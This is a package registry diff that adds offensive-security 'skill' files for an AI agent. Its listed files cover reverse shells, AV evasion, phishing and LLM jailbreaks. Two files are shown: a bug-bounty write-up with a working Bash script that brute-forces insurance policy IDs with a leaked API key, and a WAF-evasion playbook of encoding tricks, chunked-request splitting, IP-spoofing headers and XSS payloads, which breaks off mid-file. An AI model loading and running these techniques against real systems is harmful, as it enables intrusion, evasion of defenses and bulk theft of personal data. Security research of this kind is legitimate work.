ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: vr-writeup-api_key_leak
|
|
3
|
+
description: >-
|
|
4
|
+
Vulnerability research reference: api_key_leakgated: true
|
|
5
|
+
---
|
|
6
|
+
# API Key Leak in Front-End Source Code Leads to Insurance Policy Enumeration
|
|
7
|
+
|
|
8
|
+
> _**Ethical Warning:** Research, educational, and authorized testing purposes only. Please do not use against systems without permission._
|
|
9
|
+
|
|
10
|
+
* **Author:** Seth Kraft
|
|
11
|
+
* **Date:** May 15, 2026
|
|
12
|
+
|
|
13
|
+
---
|
|
14
|
+
|
|
15
|
+
The reconnaissance phase began by enumerating subdomains using [`subfinder`](https://github.com/skraft9/vulnerability-research/blob/main/custom_scripts/recon.sh) against the target's wildcard domain. While manually reviewing the hosted applications, I inspected the page source code.
|
|
16
|
+
|
|
17
|
+
During this review, I discovered an exposed configuration file named `env.js` referenced within the source code.
|
|
18
|
+
|
|
19
|
+
<img width="1843" height="1219" alt="Screenshot 2025-05-29 222222" src="https://github.com/user-attachments/assets/be0192f4-1fb8-4561-930e-172b96088a34" />
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
This file inadvertently exposed multiple API keys in plain text.
|
|
24
|
+
|
|
25
|
+
I immediately began testing the validity of the leaked API keys against the application's endpoints. The API required both the key and a valid six-digit Policy ID parameter.
|
|
26
|
+
|
|
27
|
+
To test the endpoint's authorization controls, I submitted a request using a test Policy ID of `999999`, which successfully returned a valid response containing sensitive policy data.
|
|
28
|
+
|
|
29
|
+
```json
|
|
30
|
+
<REDACTED>","policyId":"999999","state":"<REDACTED>","<REDACTED>":true,"<REDACTED>":false,"<REDACTED>":[],"<REDACTED>":[{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"},{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"},{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"},{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"}]}
|
|
31
|
+
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
Because the Policy ID is constrained to a six-digit numerical format, the endpoint is highly susceptible to brute-force enumeration.
|
|
37
|
+
|
|
38
|
+
To demonstrate the impact, I wrote a Bash script to automate the enumeration process and verify if the leaked API key could be leveraged to access other valid policies at scale.
|
|
39
|
+
|
|
40
|
+
```bash
|
|
41
|
+
#!/bin/bash
|
|
42
|
+
|
|
43
|
+
API_KEY="<REDACTED>"
|
|
44
|
+
START=110999
|
|
45
|
+
END=100000
|
|
46
|
+
|
|
47
|
+
echo "[*] Starting range: $START to $END"
|
|
48
|
+
|
|
49
|
+
for ((id=START; id>=END; id--)); do
|
|
50
|
+
echo "[*] Testing policy ID $id"
|
|
51
|
+
|
|
52
|
+
resp=$(curl -sk "https://<REDACTED>/api/<REDACTED>/policies/$id?subscription-key=$API_KEY" \
|
|
53
|
+
-H "Accept: application/json" \
|
|
54
|
+
-H "X-Bug-Bounty: <BB_USERNAME>")
|
|
55
|
+
|
|
56
|
+
if [[ $resp != *"InvalidPolicyNumber"* && $resp == *"groupId"* ]]; then
|
|
57
|
+
echo "[+] VALID → $id"
|
|
58
|
+
echo "$id → $resp" >> valid_policies.txt
|
|
59
|
+
fi
|
|
60
|
+
|
|
61
|
+
sleep 0.2
|
|
62
|
+
done
|
|
63
|
+
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
Upon executing the script, the API successfully returned data for valid policy IDs.
|
|
69
|
+
|
|
70
|
+
<img width="2524" height="1250" alt="Leak" src="https://github.com/user-attachments/assets/ef93b850-50eb-476d-afa2-0917d19bbd15" />
|
|
71
|
+
|
|
72
|
+
---
|
|
73
|
+
|
|
74
|
+
I then modified the `START` and `END` values to iterate through the remaining keyspace up to `999999`.
|
|
75
|
+
|
|
76
|
+
This automated enumeration resulted in the discovery of over 300 valid insurance policies, demonstrating data leakage and broken access control vulnerability.
|
|
77
|
+
|
|
78
|
+
<img width="741" height="175" alt="Screenshot 2025-05-29 225738" src="https://github.com/user-attachments/assets/62e4b233-609b-4c5f-9633-e691086c0cb2" />
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Root Cause Analysis
|
|
83
|
+
|
|
84
|
+
* **Exposure of Sensitive Secrets:** The initial point of failure was the inclusion of environment variables (`.env.js`) in the front-end build. Client-side source code should never contain privileged API keys or infrastructure secrets.
|
|
85
|
+
* **Broken Object Level Authorization (BOLA / IDOR):** The API implicitly trusted the valid API key without verifying if the requesting entity actually had the correct permissions to access the specific `policyId` being called.
|
|
86
|
+
* **Insufficient Identifier Entropy:** Relying on a highly predictable, six-digit numeric string for sensitive policy identifiers creates an inherently small keyspace, making the system highly susceptible to brute-forcing.
|
|
87
|
+
* **Lack of Anti-Automation Controls:** The endpoint permitted rapid, automated requests (iterating through the keyspace) without triggering any rate-limiting mechanisms or WAF blocks, facilitating bulk data exfiltration.
|
|
88
|
+
|
|
89
|
+
## Remediation Tips (Defensive Perspective)
|
|
90
|
+
|
|
91
|
+
* **Implement Robust Object-Level Authorization:** Ensure every API endpoint enforces strict validation to confirm the authenticated user or service has explicit rights to access the requested resource object (`policyId`).
|
|
92
|
+
* **Migrate to High-Entropy Identifiers:** Deprecate the use of sequential or short numeric IDs in favor of cryptographically secure, unpredictable identifiers (such as UUIDv4) for all sensitive records.
|
|
93
|
+
* **Audit Secret Management Protocols:** Review the CI/CD pipeline and webpack/build configurations to guarantee that environment variables and secrets are strictly managed server-side and never bundled into client-facing code.
|
|
94
|
+
* **Enforce Strict Rate Limiting:** Apply aggressive rate limiting and velocity checks on the `/api/*/policies/` endpoint. Additionally, implement alerting for high volumes of 404s or `InvalidPolicyNumber` responses to detect enumeration attempts early.
|
|
95
|
+
|
|
96
|
+
## Tips for Hunters (Offensive Perspective)
|
|
97
|
+
|
|
98
|
+
* **Always Trace the Build Artifacts:** Finding an `.env.js` file is often a symptom of poor CI/CD hygiene. When you spot one leak, immediately map out the surrounding directory structure and webpack bundles. Where there is one exposed config, there are often more routing files, admin endpoints, or legacy API versions left behind.
|
|
99
|
+
* **Prove the Impact, Not Just the Leak:** A leaked API key is frequently closed as "Informational" or "N/A" if it only accesses public data. The real bounty value comes from chaining the leak with a BOLA/IDOR condition. Always test keys against private endpoints or cross-tenant objects to demonstrate concrete data exfiltration.
|
|
100
|
+
* **Hunt for Low-Entropy Identifiers:** When you spot a six-digit numeric ID, assume it is brute-forceable until proven otherwise. Always script a quick enumeration loop over a localized keyspace to test for rate-limiting, WAF interference, or logging mechanisms before scaling up.
|
|
101
|
+
* **Deliver an Unambiguous PoC:** Providing a clean, automated script in your report removes any guesswork for the triage team. Taking the time to code a functional exploit transitions the report from a theoretical risk to an undeniable, high-severity vulnerability, saving you from prolonged back-and-forth in the vendor thread.
|
|
102
|
+
|
|
103
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|
|
@@ -0,0 +1,290 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: waf-bypass-techniques
|
|
3
|
+
description: >-
|
|
4
|
+
WAF bypass methodology and generic evasion techniques. Use when a web application
|
|
5
|
+
firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft
|
|
6
|
+
bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.gated: true
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# SKILL: WAF Bypass Techniques — Evasion Playbook
|
|
10
|
+
|
|
11
|
+
> **AI LOAD INSTRUCTION**: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load [WAF_PRODUCT_MATRIX.md](./WAF_PRODUCT_MATRIX.md). Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.
|
|
12
|
+
|
|
13
|
+
## 0. RELATED ROUTING
|
|
14
|
+
|
|
15
|
+
- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) for payloads to deliver after bypassing WAF
|
|
16
|
+
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) for XSS payloads that need WAF evasion
|
|
17
|
+
- [request-smuggling](../request-smuggling/SKILL.md) when smuggling can route requests around WAF entirely
|
|
18
|
+
- [http-parameter-pollution](../http-parameter-pollution/SKILL.md) HPP is itself a WAF bypass primitive
|
|
19
|
+
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when WAF blocks inline scripts but CSP bypass is available
|
|
20
|
+
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) **Java backends only** — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit `char` to 8-bit `byte` narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more
|
|
21
|
+
|
|
22
|
+
### Product-Specific Reference
|
|
23
|
+
|
|
24
|
+
Load [WAF_PRODUCT_MATRIX.md](./WAF_PRODUCT_MATRIX.md) when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. PHASE 0 — IDENTIFY THE WAF
|
|
29
|
+
|
|
30
|
+
Before bypassing, know what you're fighting.
|
|
31
|
+
|
|
32
|
+
### 1.1 Tools
|
|
33
|
+
|
|
34
|
+
| Tool | Usage |
|
|
35
|
+
|---|---|
|
|
36
|
+
| `wafw00f target.com` | Fingerprint WAF vendor from response headers/behavior |
|
|
37
|
+
| `nmap --script=http-waf-detect` | NSE script for WAF detection |
|
|
38
|
+
| Manual header inspection | `Server`, `X-CDN`, `X-Cache`, `cf-ray` (Cloudflare), `x-sucuri-id`, `x-akamai-*` |
|
|
39
|
+
|
|
40
|
+
### 1.2 Behavioral Fingerprinting
|
|
41
|
+
|
|
42
|
+
```
|
|
43
|
+
1. Send benign request → record baseline response (status, headers, body size)
|
|
44
|
+
2. Send obvious attack: /?q=<script>alert(1)</script>
|
|
45
|
+
3. Compare: 403? Custom block page? Redirect? Connection reset?
|
|
46
|
+
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
|
|
47
|
+
5. If transparent proxy: check response time difference (WAF adds latency)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## 2. GENERIC BYPASS CATEGORIES
|
|
53
|
+
|
|
54
|
+
### 2.1 Encoding Bypasses
|
|
55
|
+
|
|
56
|
+
| Technique | Example | Bypasses |
|
|
57
|
+
|---|---|---|
|
|
58
|
+
| URL encoding | `%3Cscript%3E` | Basic string matching |
|
|
59
|
+
| Double URL encoding | `%253Cscript%253E` | WAFs that decode once, app decodes twice |
|
|
60
|
+
| Unicode encoding | `%u003Cscript%u003E` | IIS-specific Unicode normalization |
|
|
61
|
+
| HTML entities | `<script>` or `<script>` | WAFs not performing HTML entity decoding |
|
|
62
|
+
| Hex encoding (SQL) | `0x756E696F6E` = `union` | WAFs matching SQL keywords |
|
|
63
|
+
| Octal encoding | `\74script\76` | Rare but some parsers handle it |
|
|
64
|
+
| Overlong UTF-8 | `%C0%BC` (invalid encoding for `<`) | Legacy parsers with loose UTF-8 handling |
|
|
65
|
+
| Mixed case | `SeLeCt`, `uNiOn` | Case-sensitive rule matching |
|
|
66
|
+
| Null byte | `sel%00ect` | WAFs that stop parsing at null |
|
|
67
|
+
|
|
68
|
+
### 2.2 Chunked Transfer Encoding
|
|
69
|
+
|
|
70
|
+
Split the payload across HTTP chunks so no single chunk contains the blocked pattern:
|
|
71
|
+
|
|
72
|
+
```http
|
|
73
|
+
POST /search HTTP/1.1
|
|
74
|
+
Transfer-Encoding: chunked
|
|
75
|
+
|
|
76
|
+
3
|
|
77
|
+
sel
|
|
78
|
+
3
|
|
79
|
+
ect
|
|
80
|
+
1
|
|
81
|
+
|
|
82
|
+
4
|
|
83
|
+
from
|
|
84
|
+
0
|
|
85
|
+
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
WAFs that inspect the full body may not reassemble chunks before matching.
|
|
89
|
+
|
|
90
|
+
### 2.3 HTTP/2 Binary Format Bypasses
|
|
91
|
+
|
|
92
|
+
HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:
|
|
93
|
+
|
|
94
|
+
- Header names can contain characters illegal in HTTP/1.1
|
|
95
|
+
- Pseudo-headers (`:method`, `:path`) bypass header-based WAF rules
|
|
96
|
+
- H2 → H1 downgrade may introduce request smuggling (see [request-smuggling](../request-smuggling/SKILL.md))
|
|
97
|
+
|
|
98
|
+
### 2.4 HTTP Parameter Pollution (HPP)
|
|
99
|
+
|
|
100
|
+
Different servers handle duplicate parameters differently:
|
|
101
|
+
|
|
102
|
+
| Server | Behavior for `?a=1&a=2` |
|
|
103
|
+
|---|---|
|
|
104
|
+
| PHP/Apache | Last value: `a=2` |
|
|
105
|
+
| ASP.NET/IIS | Concatenated: `a=1,2` |
|
|
106
|
+
| Python/Flask | First value: `a=1` |
|
|
107
|
+
| Node.js/Express | Array: `a=[1,2]` |
|
|
108
|
+
|
|
109
|
+
WAF checks `a=1` (benign), app uses `a=2` (malicious). Or combine: `a=sel&a=ect` → ASP.NET sees `a=sel,ect`.
|
|
110
|
+
|
|
111
|
+
### 2.5 IP Source Spoofing (Bypass IP-Based Rules)
|
|
112
|
+
|
|
113
|
+
Headers trusted by some WAFs/apps for client IP:
|
|
114
|
+
|
|
115
|
+
```
|
|
116
|
+
X-Forwarded-For: 127.0.0.1
|
|
117
|
+
X-Real-IP: 127.0.0.1
|
|
118
|
+
X-Originating-IP: 127.0.0.1
|
|
119
|
+
True-Client-IP: 127.0.0.1
|
|
120
|
+
CF-Connecting-IP: 127.0.0.1
|
|
121
|
+
X-Client-IP: 127.0.0.1
|
|
122
|
+
Forwarded: for=127.0.0.1
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
Use case: WAF whitelists internal IPs or has different rule sets per source.
|
|
126
|
+
|
|
127
|
+
### 2.6 Path Normalization Tricks
|
|
128
|
+
|
|
129
|
+
| Technique | Example | Effect |
|
|
130
|
+
|---|---|---|
|
|
131
|
+
| Dot segments | `/./admin` or `/../target/admin` | WAF sees different path than app |
|
|
132
|
+
| Double slash | `//admin` | Some normalizers collapse, WAFs may not |
|
|
133
|
+
| URL encoding path | `/%61dmin` | WAF sees encoded, app decodes |
|
|
134
|
+
| Null byte in path | `/admin%00.jpg` | Legacy: app truncates at null, WAF sees .jpg |
|
|
135
|
+
| Backslash (IIS) | `/admin\..\/secret` | IIS treats `\` as `/` |
|
|
136
|
+
| Trailing dot/space | `/admin.` or `/admin%20` | OS-level normalization (Windows) |
|
|
137
|
+
| Semicolon (Tomcat) | `/admin;jsessionid=x` | Tomcat strips after `;`, WAF may not |
|
|
138
|
+
|
|
139
|
+
### 2.7 Content-Type Manipulation
|
|
140
|
+
|
|
141
|
+
WAFs often have format-specific parsers. Switching Content-Type can bypass rules:
|
|
142
|
+
|
|
143
|
+
```
|
|
144
|
+
Default: Content-Type: application/x-www-form-urlencoded → WAF parses params
|
|
145
|
+
Switch: Content-Type: application/json → WAF may not parse JSON body
|
|
146
|
+
Switch: Content-Type: multipart/form-data → WAF may not inspect all parts
|
|
147
|
+
Switch: Content-Type: text/xml → WAF expects XML, payload in different format
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
**Trick**: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.
|
|
151
|
+
|
|
152
|
+
### 2.8 Multipart Boundary Abuse
|
|
153
|
+
|
|
154
|
+
```http
|
|
155
|
+
Content-Type: multipart/form-data; boundary=----WAFBypass
|
|
156
|
+
|
|
157
|
+
------WAFBypass
|
|
158
|
+
Content-Disposition: form-data; name="q"
|
|
159
|
+
|
|
160
|
+
<script>alert(1)</script>
|
|
161
|
+
